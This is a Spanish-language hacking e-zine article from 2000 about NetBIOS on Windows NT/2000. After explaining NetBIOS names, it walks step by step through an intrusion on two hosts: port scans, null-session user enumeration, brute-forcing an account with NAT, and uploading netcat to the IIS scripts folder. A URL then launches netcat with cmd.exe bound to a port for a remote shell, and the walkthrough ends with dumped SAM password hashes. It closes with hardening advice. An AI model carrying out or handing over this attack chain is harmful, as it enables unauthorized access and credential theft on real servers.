2500hz nº2:(e02a08.txt):27/03/2000 << Back To 2500hz nº 2
.--[ @_2500Hz - Underground Scene - ]-----(http://pagina.de/2500Hz)--. | | | Titulo : NetBIOS: Jugando con Windows NT/2000 | | Autor : ZeRoXT (zeroxt@hotmail.com) | | Fecha : 27/03/2000 | | | `----------------------------------------------(2500hz@mixmail.com)--┤ NetBIOS: Jugando con Windows NT/2000 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- by ZeRoXT Introduccion =-=-=-=-=-=- Hace ya a±os que microsoft nos sorprendio a todos con su Windows NT en un intento con hacerse con parte del mercado que hasta entonces estaba dominado por los sistemas UNIX, y aunque las primeras versiones no dieron mucho que hablar, todo cambio con la llegada de la version 4.0 en la que un renovado interfaz estilo windows 9x y algunas mejoras hicieron que muchas empresas instalaran sus servidores bajo NT. Desde su aparicion hasta ahora NT se ha ido consolidando poco a poco dentro de las empresas, siendo lo mas normal ver como todas las empresas de hoy en dia tienen sus servidores bajo NT y kiza algun UNIX, pero muy raro de ver empresas que se centren solamente UNIX. Siendo lo normal una convivencia entre los dos sistemas. Despues de estos a±os Microsoft vuelve a la carga con Windows 2000 un producto con el que pretende seguir creciendo y ampliando su mercado hacia todas las empresas con sus tres versiones ( Profesional, Server, Advanced Server ). Mucho se ha hablado sobre la estabilidad y la poca seguridad de los sistemas que utilizan Windows NT/2000 y la seguridad que proporciona UNIX frente a Windows. La verdad es un tema que daria mucho de que hablar y que en mi opinion ninguno de los dos es claro vencedor, cada sistema tiene sus cosas y es mejor que el otro en determinadas tareas. El caso es que este articulo no va a ser una critica ni una opinion personal sobre Windows / Unix, asi que centremonos en el asunto que vamos a tratar ..... NetBIOS ( Network Basic Input/Output System ) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= NetBIOS fue desarrollado por IBM y Systek como un intento de proveer a las apliaciones de una interfaz para acceder a los recursos de las redes locales. Al ser solo una interfaz entre las aplicaciones y la tarjeta de red, y por tanto poder ser utilizado con independencia del hardware, hizo que pronto se convirtiera en un estandar para acceder a redes ( ethernet, TokenRing, redes IBM, ... ). NetBIOS ha sido utilizado ampliamente para compartir recursos de una manera simple y eficiente en redes peque±as. Proporcionando tanto servicios orientados a conexion ( sesiones ) como no orientados a conexion ( datagramas ), al igual que soporta broadcast y multicast. Posteriormente surgio NetBEUI que no es mas que una version extendida de NetBIOS que proporciono una capa de transporte que nunca fue estandarizada en NetBIOS. NetBIOS puede ser utilizado en la inmesa mayoria de los sistemas operativos de red y puede ser transportado sobre variedad de protocolos, generalmente sobre TCP/IP (NBT), IPX, ... Nombres NetBIOS =-=-=-=-=-=-=-= Son usados para identificar recursos en la red, las direcciones de bajo nivel no estan disponibles para las aplicaciones, sino que las equipos utilizan estos nombres para comnunicarse y establecer sesiones entre si. Estos nombres deben tener una longitud maxima de 16 caracteres alfanumericos, siendo el primero distinto de *. Cada vez que un equipo se activa este comienza un proceso de registro, para ello emite varias veces un mensaje de broadcast en el que indica su nombre netbios. Si algun otro equipo de la red esta utilizando ese nombre, este a su vez manda mensajes de broadcasts para advertirlo. Por lo tanto el equipo que queria registrarse con un nombre ya en uso para y termina su intento de registro. Si por el contrario ningun otro equipo emite mensajes indicando que el nombre ya esta en uso, el cliente se registrara con exito. Hay dos tipos de nombres, unicos ( unique ) y de grupos ( group ), los nombre unicos son aquellos que son llevados individualmente por un equipo al mismo tiempo, es decir no deben repetirse en la red en caso contrario se producirian mensajes de error debido a conflictos de nombres. En los grupos todas las instancias de un mismo nombre son equivalentes y pueden repetirse a lo largo de la red. Microsoft en su implementacion limita el tama±o de los nombres a 15 caracteres maximos, utilizando el ultimo byte como un sufijo para identificar el tipo de servicio. Cada nodo mantiene una tabla con informacion de los nombres que tiene en uso, esta tabla se puede obtener mediante la orden nbtstat. Acontinuacion una tabla de los sufijos utilazados por Windows NT. Nombre Sufijo Tipo Servicio ------------------------------------------------------------------- <computername> 00 U Workstation Service <computername> 01 U Messenger Service <\\_MSBROWSE_> 01 G Master Browser <computername> 03 U Messenger Service <computername> 06 U RAS Server Service <computername> 1F U NetDDE Service <computername> 20 U File Server Service <computername> 21 U RAS Client Service <computername> 22 U Exchange Interchange <computername> 23 U Exchange Store <computername> 24 U Exchange Directory <computername> 30 U Modem Sharing Server Service <computername> 31 U Modem Sharing Client Service <computername> 43 U SMS Client Remote Control <computername> 44 U SMS Admin Remote Control Tool <computername> 45 U SMS Client Remote Chat <computername> 46 U SMS Client Remote Transfer <computername> 4C U DEC Pathworks TCPIP Service <computername> 52 U DEC Pathworks TCPIP Service <computername> 87 U Exchange MTA <computername> 6A U Exchange IMC <computername> BE U Network Monitor Agent <computername> BF U Network Monitor Apps <username> 03 U Messenger Service <domain> 00 G Domain Name <domain> 1B U Domain Master Browser <domain> 1C G Domain Controllers <domain> 1D U Master Browser <domain> 1E G Browser Service Elections <INet~Services> 1C G Internet Information Server <IS~Computer_name> 00 U Internet Information Server Jugando con los servidores =-=-==-=-==-=-==-=-=-=-=-= Ahora pasaremos a una parte mas practica, que seguro os gusta mas :) El objetivo es demostrar todo lo visto hasta ahora, es decir, obtener la tabla de nombres de los nodos, listas de usuarios, recursos compartidos y toda aquella informacion que podamos y nos pueda ser util. En primer lugar seleccionamos una serie de posibles victimas, que en nuestro caso obtenemos realizando un peque±o scaneo a una clase C ( x.x.x.1/24 ) el resultado nos muestra que tenemos dos maquinas activas una ejecutandose bajo Windows NT 4.0 ( x.x.x.92 ) y otra bajo Windows 2000 RC1 ( x.x.x.96 ). Aun asi queremos mas informacion sobre los distintos servicios que corren y con ayuda de nmap realizamos un scaneao a ambas... zeroxt@candela:~/hack > nmap -sS -O x.x.x.92 Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure... Interesting ports on (x.x.x.92): Port State Protocol Service 21 open tcp ftp 25 open tcp smtp 135 open tcp loc-srv 139 open tcp netbios-ssn 256 open tcp rap 257 open tcp set 258 open tcp yak-chat 259 open tcp esro-gen 261 open tcp nsiiops 262 open tcp arcisdms 1030 open tcp iad1 1031 open tcp iad2 1032 open tcp iad3 TCP Sequence Prediction: Class=trivial time dependency Difficulty=8 (Trivial joke) Remote operating system guess: Windows NT4 / Win95 / Win98 Nmap run completed -- 1 IP address (1 host up) scanned in 34 sec zeroxt@candela:~/hack > nmap -sS -O x.x.x.96 Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure... Interesting ports on (x.x.x.96): Port State Protocol Service 7 open tcp echo 9 open tcp discard 13 open tcp daytime 17 open tcp qotd 19 open tcp chargen 21 open tcp ftp 25 open tcp smtp 42 open tcp nameserver 53 open tcp domain 80 open tcp http 135 open tcp loc-srv 139 open tcp netbios-ssn 258 open tcp yak-chat 261 open tcp nsiiops 443 open tcp https 445 open tcp microsoft-ds 1025 open tcp listen 3389 open tcp msrdp TCP Sequence Prediction: Class=random positive increments Difficulty=24300 (Worthy challenge) Remote operating system guess: Windows 2000 RC1 Nmap run completed -- 1 IP address (1 host up) scanned in 56 sec zeroxt@candela:~/hack > Para conseguir mas informacion obtenemos la Tabla de Nombre NetBios de las dos maquinas ... zeroxt@candela:~/hack > nmblookup -A x.x.x.92 Looking up status of x.x.x.92 received 9 names CARMEN <20> - B <ACTIVE> CARMEN <00> - B <ACTIVE> DOMINIO3 <1b> - B <ACTIVE> DOMINIO3 <1c> - <GROUP> B <ACTIVE> DOMINIO3 <00> - <GROUP> B <ACTIVE> DOMINIO3 <1e> - <GROUP> B <ACTIVE> CARMEN <03> - B <ACTIVE> DOMINIO3 <1d> - B <ACTIVE> ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> num_good_sends=0 num_good_receives=0 zeroxt@candela:~/hack > Como vemos esta maquina hace de Controlador del dominio DOMINIO3, es el Master Browser y su nombre NetBIOS es CARMEN. zeroxt@candela:~/hack > nmblookup -A x.x.x.96 Looking up status of x.x.x.96 received 8 names EULER <00> - M <ACTIVE> EULER <20> - M <ACTIVE> DOMINIO3 <00> - <GROUP> M <ACTIVE> EULER <03> - M <ACTIVE> DOMINIO3 <1e> - <GROUP> M <ACTIVE> INet~Services <1c> - <GROUP> M <ACTIVE> IS~EULER <00> - M <ACTIVE> ADMINISTRADOR <03> - M <ACTIVE> num_good_sends=0 num_good_receives=0 zeroxt@candela:~/hack > En esta otra vemos que es miembro del dominio DOMINIO3, su nombre NetBIOs es EULER, esta ejecutando los servicios IIS y existe un usuario ADMINISTRADOR conectado y que probablemente sera la cuenta de administracion por defecto :). Aun asi nos aseguraremos y obtendremos la cuenta de Administrador de las dos maquinas y la lista de usuarios de ambos, que podremos utilizar como base para un ataque por fuerza bruta y testear asi la seguridad de las contrase±as de usuarios. Para realizar esta tarea haremos uso de las herramientas SID. Conexiones Nulas ( IPC$ ) =-=-=-=-=-=-=-=-=-=-=-=-= Windows NT hace uso de un recurso compartido oculto ( IPC$ ) y que se utiliza para intercomunicacion entre procesos. Este recurso permite a cualquiera establecer una sesion nula con el servidor. Y que debido a los permisos por defecto de NT nos permite acceder a determinda informacion como son listas de usuarios, recursos compartidos, ... Informacion que nos puede servir para buscar nuevos fallos de seguridad Acontinuacion obtendremos la lista de usuario y la cuenta del administrador del sistema, para ello como dijimos anteriormente haremos uso de las herramientas SID: user2sid que nos permite obtener el SID de un usuario o grupo y sid2user que nos permite obtener la informacion asociada a un SID. En primer lugar establecemos una conexion nula y obtenemos el SID de un grupo por defecto ( ya que los grupos no se pueden renombrar ) C:\hack\sid>net use \\carmen "" /u:"" Se ha completado el comando correctamente. C:\hack\sid>user2sid \\carmen "Usuarios del dominio" S-1-5-21-445120578-907631837-612134452-513 Number of subauthorities is 5 Domain is DOMINIO3 Length of SID in memory is 28 bytes Type of SID is SidTypeGroup Una vez obtenido, podemos obtener todas las cuentas del sistema, cuyo SID solo difiere en su ultimo campo denominado RID. Para la cuenta de administrador el RID es 500, para el resto de cuentas es 1000, 1001, 1002, .... C:\hack\sid>sid2user \\carmen 5 21 445120578 907631837 612134452 500 Name is ServerAdmin Domain is DOMINIO3 Type of SID is SidTypeUser mmm, curioso la cuenta de administrador ha sido renombrada a ServerAdmin. Lo mismo para el servidor con Windows 2000 ... C:\hack\sid>net use \\euler "" /u:"" Se ha completado el comando correctamente. C:\hack\sid>user2sid \\euler "Invitado" S-1-5-21-861567501-1993962763-1202660629-501 Number of subauthorities is 5 Domain is DOMINIO3 Length of SID in memory is 28 bytes Type of SID is SidTypeUser C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 500 Name is Administrador Domain is DOMINIO3 Type of SID is SidTypeUser C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 1000 Name is TsInternetUser Domain is DOMINIO3 Type of SID is SidTypeUser C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 1001 Name is IUSR_EULER Domain is DOMINIO3 Type of SID is SidTypeUser C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 1002 Name is IWAM_EULER Domain is DOMINIO3 Type of SID is SidTypeUser NAT ( NetBIOS Auditing Tool ) =-=-=-=-=-=-=-=-=-=-=-=-=-=-= Una vez tenemos la lista de usuarios de los sistemas y las respectivas cuentas de administracion local. Podemos realizar un ataque por fuerza bruta a las contrase±as, para ello hacemos uso de NAT ( NetBIOS Auditing Tool ) zeroxt@candela:~/hack/nat > ./nat -i x.x.x.96 [*] NAT - NetBIOS Auditing Tool v2.0 Copyright 1996, 1997, 1998, Secure Networks Inc. [*] Host x.x.x.96 (unknown) checked on Sun Mar 21 01:20:27 1999 [*] Remote system name tables EULER DOMINIO3 INet~Services IS~EULER ADMINISTRADOR [*] Trying to connect with 'EULER' [*] Connected with NetBIOS name EULER [*] Dialect selected: NT LM 0.12 [*] Server has share level security enabled [*] Server supports password encryption [*] Remote server's workgroup: DOMINIO3 [*] Logging in as '' with password '' [*] Able to login as user '' with password '' [*] Server Operating System: Windows 5.0 [*] Lan Manager Software : Windows 2000 LAN Manager [*] Unable to list shares as '' user [*] Guessing passwords [*] Trying to login as user 'ADMINISTRATOR' with password 'ADMINISTRAT [*] Trying to login as user 'ADMINISTRATOR' with password 'GUEST' [*] Trying to login as user 'ADMINISTRATOR' with password 'ROOT' [*] Trying to login as user 'ADMINISTRATOR' with password 'ADMIN' [*] Trying to login as user 'ADMINISTRATOR' with password 'PASSWORD' [*] Trying to login as user 'ADMINISTRATOR' with password 'TEMP' [*] Guessed: ADMINISTRATOR Password: ADMINISTRATOR [*] Logging in as 'ADMINISTRATOR' with password 'ADMINISTRATOR' [*] Able to login as user 'ADMINISTRATOR' with password 'ADMINISTRATOR [*] Workstation information Computer Name : EULER User Name : Work Group : DOMINIO3 Version : 5.0 Logon Domain : Other Domains : [*] Able to list shares as 'ADMINISTRATOR' user C$ DISK Recurso predeterminado ADMIN$ DISK Admin remota Inetpub DISK IPC$ IPC IPC remota E$ DISK Recurso predeterminado [*] WARNING: Able to connect to \\EULER\Inetpub as 'ADMINISTRATOR' use [*] WARNING: Able to WRITE to \\EULER\Inetpub [*] WARNING: Able to connect to \\EULER\IPC$ as 'ADMINISTRATOR' user zeroxt@candela:~/hack/nat > Evidentemente la cuenta ADMINISTRATOR no es una cuenta con privilegios de administrador sino una cuenta de usuario creada quiza para atraer a posibles hackes, y tanto que nos va a ser muy util ya que por descuido del administrador tiene permisos de escritura en \Inetpub. Lo cual nos va a permitir ejecutar comandos con los privilegios de IUSR_EULER subiendo un fichero al directorio \InetPub\scripts que por defecto tiene permisos de ejecucion. El fichero elegido sera una copia de netcat que nos permitira acceder al sistema :) zeroxt@candela:~/ > smbclient \\\\x.x.x.96\\InetPub -U ADMINISTRATOR Password: Domain=[DOMINIO3] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: \> ls . D 0 Sun Mar 12 15:57:08 .. D 0 Sun Mar 12 15:57:08 wwwroot D 0 Sun Mar 12 15:57:08 AdminScripts D 0 Sun Mar 12 15:57:20 iissamples D 0 Sun Mar 12 15:57:20 Mail D 0 Sun Mar 12 15:59:08 scripts D 0 Sun Mar 12 16:02:28 ftproot D 0 Sun Mar 12 16:03:26 mailroot D 0 Sun Mar 12 16:03:28 iisstart.asp A 0 Sat Mar 18 03:16:56 58497 blocks of size 65536. 24655 blocks available smb: \> cd scripts smb: \scripts\> ls . D 0 Sun Mar 12 16:02:28 .. D 0 Sun Mar 12 16:02:28 58497 blocks of size 65536. 24655 blocks available smb: \scripts\> put netcat.exe putting file netcat.exe as \scripts\netcat.exe smb: \scripts\> exit zeroxt@candela:~/hack/nat > lynx http://x.x.x.96/scripts/netcat.exe? -l%20-p%2023%20-e%20cmd.exe zeroxt@candela:~/hack/nat > netcat x.x.x.96 23 Microsoft Windows 2000 [Versi≤n 5.00.2072] Microsoft(R) Windows(TM) (C) Copyright 1985-1999 Microsoft Corp. e:\inetpub\scripts> tachan! :) Ya estamos dentro con permisos del usuario IIS :). Debido a los permisos por defecto y al FDC cualquier usuario tiene acceso completo al directorio \winnt. Por lo que sustituir cualquier archivo por un troyano, instalar un sniffer o cualquier otro tipo de accion seria trivial. Ahora podemos obtener una copia del archivo de claves de NT del directorio \winnt\repair y obtener las distintas claves con ayuda del l0phtcrack E:\Inetpub\scripts>samdump \winnt\repair\sam samdump \winnt\repair\sam Administrador:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXX XXX:Cuenta para la administraci╛n del equipo o dominio:: Invitado:501:NO PASSWORD*********************:NO PASSWORD************ *********:Cuenta para acceso como invitado al equipo o dominio:: TsInternetUser:1000:B857426F10E9987B81B7BF4162DE158E:C25DB5748E64161C C464C5C2D384E48F:TsInternetUser,Servicios de Terminal Server usa esta cuenta de usuario.:: IUSR_EULER:1001:740A765CDE56E4322527D6405C7A9FBF:659F670CD71A4D472803 31EA0D5ACFC6:Cuenta de invitado a Internet,Cuenta integrada para acce so an╛nimo a Servicios de Internet Information Server:: IWAM_EULER:1002:8D477648397EAA89488B9B9789336A73:005CFF626C455FC73988 6EA4F7A47AEA:Iniciar la cuenta de proceso IIS,Cuenta integrada para e l inicio de los Servicios de Internet Information Server fuera de las aplicaciones de proceso:: SAMDump 1.0beta. Created by Dmitry Andrianov En unas horas se obtuvo la clave de administrador para el servidor y se pudo acceder al servidor con permisos totales. Desde este a su vez se realizo un ataque por diccionario al servidor NT ( x.x.x.92 ) y que se completo en poco tiempo. C:\zeroxt>net use \\x.x.x.96\C$ xxxxxxx /u:Administrador Se ha completado el comando correctamente. C:\zeroxt>net use \\x.x.x.92\E$ xxxxx /u:ServerAdmin Se ha completado el comando correctamente. ( Claves omitidas ) Soluciones a la Inseguridad =-=-=-=-=-=-=-=-=-=-=-=-=-= Como habeis podido comprobar la seguridad es muy importante, seamos una peque±a empresa, una gran empresa, o un simple usuario que dedica su tiempo a navegar por la red, siempre estamos en peligro y abiertos a cualquier tipo de ataque. Y es que hay gente que se puede decir solo vive para entrar en ordenadores ajenos, dando igual lo que contengan solo por el mero hecho de investigar un poco mas. Y todo hay que decirlo tambien hay los que lo hacen para joder un poco mas, y hacer cosas tan absurdas como un "deltree \*.*" o un "rm -fr /". Sea lo que sea esta claro que a nadie le gusta que le miren en su disco duro aunque solo tenga fotos xXX ... Hemos visto lo facil que resulta acceder a un ordenador que no este correctamente configurado y con permisos por defecto. La mayor parte de los ataques en Windows se realizan atraves de recursos compartidos por medio de NetBIOS, servicios mal configurado, etc. Como medida a esto se recomienda no utilizar NBT ( NetBIOS sobre TCP/IP ) a no ser que ser que sea estrictamente necesario y en esta caso siempre filtrar los accesos mediante un firewall y permitir solo accesos a la intranet. Tambien tenemos que estar pendientes de la seguridad en la intranet, ya que cualquier empleado un poco 'aburrido' podria dedicarse a jugar con nosotros. Debemos denegar el acceso de login en la consola a los usuarios, y establer fuertes permisos en el sistema de archivos ya que como vimos anteriormente por defecto cualquier usuario tiene acceso completo a \WINNT. Se recomienda cambiar los permisos y establecerlos de la siguiente forma. %SystemRoot% Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add and Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\FONTS Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add & Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\HELP Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add & Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\INF Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add & Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\PROFILES Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add and Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\REPAIR Administrators: Full Control (All) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\SYSTEM Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add and Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\SYSTEM32 Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add and Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\SYSTEM32\DHCP Sino usamos un servidor DHCP se recomienda borrarla %SystemRoot%\SYSTEM32\LOGFILES Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Read (RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\SYSTEM32\RAS Si no usamos RAS borrarlo, sino resringirlo a los usuarios RAS %SystemRoot%\SYSTEM32\VIEWERS Administrators: Full Control (All) CREATOR OWNER: Full Control (All) Everyone: Add and Read (RWX)(RX) SYSTEM: Full Control (All) Server Operators: Change (RWXD) %SystemRoot%\SYSTEM32\WINS Si no usamos WINS borrarlo \BOOT.INI Administrators: Full Control (All) SYSTEM: Full Control (All) \NTDETECT.COM Administrators: Full Control (All) SYSTEM: Full Control (All) NTLDR Administrators: Full Control (All) SYSTEM: Full Control (All) \AUTOEXEC.BAT Administrators: Full Control (All) Everybody: Read (RX) SYSTEM: Full Control (All) \CONFIG.SYS Administrators: Full Control (All) Everybody: Read (RX) SYSTEM: Full Control (All) Muchos libros recomiendan renombrar la cuenta de Administador, pero como hemos visto resulta inutil ya que es trivial a averiguarla por medio de una sesion nula. Estas sesiones nulas se establecen mediante NetBIOS, por lo que si filtramos adecuadamente los puertos usados por NetBIOS no sera posible el listado de usuarios, cuenta de Administrados, recursos compartidos, etc. Enlaces / Bibliografia =-=-=-==-=-=-=-=-=-=-= [ l0pthcrack ] - www.l0pht.com [ SID Tools ] - http://www.technotronic.com/microsoft.html [ NAT ] - http://www.technotronic.com/microsoft.html [ Understanding NetBIOS by NeonSurge ] [ Windows NT Unleashed ] [ RFC1001 ] ZeRoXT zeroxt@hotmail.com EOF --( ZeRoXT )-- - -- - -- - -- - -- - -- @_2500Hz - Underground Scene - -- -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - --